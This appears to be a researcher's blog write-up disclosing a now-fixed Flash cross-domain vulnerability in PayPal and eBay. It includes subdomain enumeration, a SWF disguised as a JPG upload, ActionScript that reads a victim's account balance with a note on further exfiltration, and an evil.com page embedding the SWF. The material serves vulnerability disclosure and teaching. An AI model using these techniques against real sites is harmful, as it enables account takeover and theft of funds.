crossdomain.xml : Beware of Wildcards

This blog entry will describe a wide spread Flash vulnerability that affected many big websites including paypal.com. The description will picture the state of the website paypal.com and ebay.com in 2013-2014. The vulnerabilities were completely fixed two weeks ago. Therefore, it is not possible to reproduce this vulnerability as-is.

TL;DR : See the video demonstration.

It all starts with a wildcard...

After navigating through the various settings section of my paypal account, I could not find any upload functionalities. Hosting a file directly on www.paypal.com might not be impossible, but it's not the easiest target.

There is an option. Looking at the crossdomain.xml (or clientaccesspolicy.xml).

https://www.paypal.com/crossdomain.xml from 2014

<cross-domain-policy>
    <allow-access-from domain="*.paypal.com"/>
    <allow-access-from domain="*.ebay.com"/>
    <allow-access-from domain="*.paypalobjects.com"/>
</cross-domain-policy>

This tell us that SWF hosted on any of those domains can make requests to the domain www.paypal.com and see the response. In other word, the SWF file will be allowed to do request beyond the same origin basic principle.

Step 1: Finding weak domains

We can find the existing subdomains by using an automate DNS bruteforce tools such as subbrute.

 $ ./subbrute.py ebay.com
ebay.com
blog.ebay.com
groups.ebay.com
home.ebay.com
www.ebay.com
my.ebay.com
members.ebay.com
cs.ebay.com
blogs.ebay.com
search.ebay.com
[...]
labs.ebay.com
developper.ebay.com
community.ebay.com

It is also possible to find upload functionalities with some Google-Fu.

• site:target.com inbody:attachment
• site:target.com forum
• site:target.com upload
• etc...

From the previous enumeration, I identify that the following where having upload functionnality for images or documents.

• developper.ebay.com
• community.ebay.com
• labs.ebay.com

"Luckily", all three were vulnerable.

Step 2 : Uploading the SWF file

The main objective is being able to serve arbitrary file from a GET request on the targeted domain. The presence of the header "Content-Disposition: attachment .." will make the file benign. Any Content-Type could be present. The following file has all the requirements. It is a file attached to a comment in the Ebay Community Forum.

https://community.ebay.com/ebay01/attachments/ebay01/Communitygroupsandbox/1/12/hello14.jpg

HTTP/1.1 200 OK
Date: Tue, 22 Jul 2014 04:49:07 GMT
Server: Apache
Set-Cookie: VISITORID=147921315; Domain=.ebay.com; Path=/
Last-Modified: Sat, 19 Jul 2014 03:36:27 GMT
Content-Length: 33576
Connection: close
Content-Type: image/jpeg;charset=UTF-8

CWS[...]

Malicious SWF

A SWF file has similar capabilities that JavaScript has in a HTML page. The following code snippet does a HTTP request to the Paypal main page, extract the balance and display it.

Malicious.as

function getAccountBalanceHttpReq() {
    urlLoader = new URLLoader();
    urlLoader.addEventListener(Event.COMPLETE, onComplete);
    urlLoader.load(new URLRequest(encodeURI("https://www.paypal.com/ca/cgi-bin/webscr?cmd=_account&nav=0.0"")));
}

function onComplete(event:Event):void {
    //Extract balance from the page..
    var balanceRegExp:RegExp = /\$.*USD/;
    var amountFound:String = urlLoader.data.match(balanceRegExp);
    
    //Display amount extracted
    this['txtCurrentBalance'].text = amountFound;
    
    //More exfiltration
    //...etc
}

I developed the habit of creating custom SWF. For anyone unfamiliar with ActionScript or Flash, I would definitely suggest the use of prebuild SWF such as CrossXHR.

Step 3 : Hosting a malicious page

All we need is embebbing the remote SWF file in an HTML page. It can be done with <embed> or <object> tags but more easily with the swfobject.js library.

http://evil.com/trap_page.html

<script src="swfobject.js"></script>
<script>
var url ="https://community.ebay.com/ebay01/attachments/ebay01/Communitygroupsandbox/1/12/hello14.jpg";
swfobject.embedSWF(url, "evilSwf", "700", "400", "10.0.0", "expressInstall.swf", {}, {}, {});
</script>

<div id="evilSwf"></div>

That's it! Any logged in user visiting the page would be loading your malicious SWF and actions on their account could be done unless a password is required.

Proof of Concept reading the balance amount

The victim will not be able to notice that HTTP requests are triggered but more interestingly the targeted server would not receive any request different from normal ones. The only information that could be used to confirm an attack is the "Referer" header pointing to the file we uploaded.

Démonstration

Demonstration of the attack described previously. (Fullscreen recommended)


The demonstration shows the most basic attack vector reading account information. The vulnerability also opens the door to submit arbitrary forms including doing money transfer.

Conclusion

Looking at the crossdomain.xml or clientaccesspolicy.xml is a verification that can be done quickly. The attack surface might become bigger than you initially though.

I will be giving a Flash Talk at NorthSec next month on the subject. It will be a short presentation on how to identify variations of this vulnerability.

References

• The lesser known pitfalls of allowing file uploads on your website : A great summary of the attack vector by Mathias Karlsson
• Taking over PayPal accounts with Flash : The same vulnerability found on Paypal by Multibear
• Abusing JSONP with Rosetta Flash : The same vulnerability with a twist by Michele Spagnuolo
• Yahoo’s Pet Show of Horrors: Leaking a User’s Emails Crossdomain / Seizing Control of Yahoo! Mail Cross-Origin… Again: Two great write-ups by Jordan Milne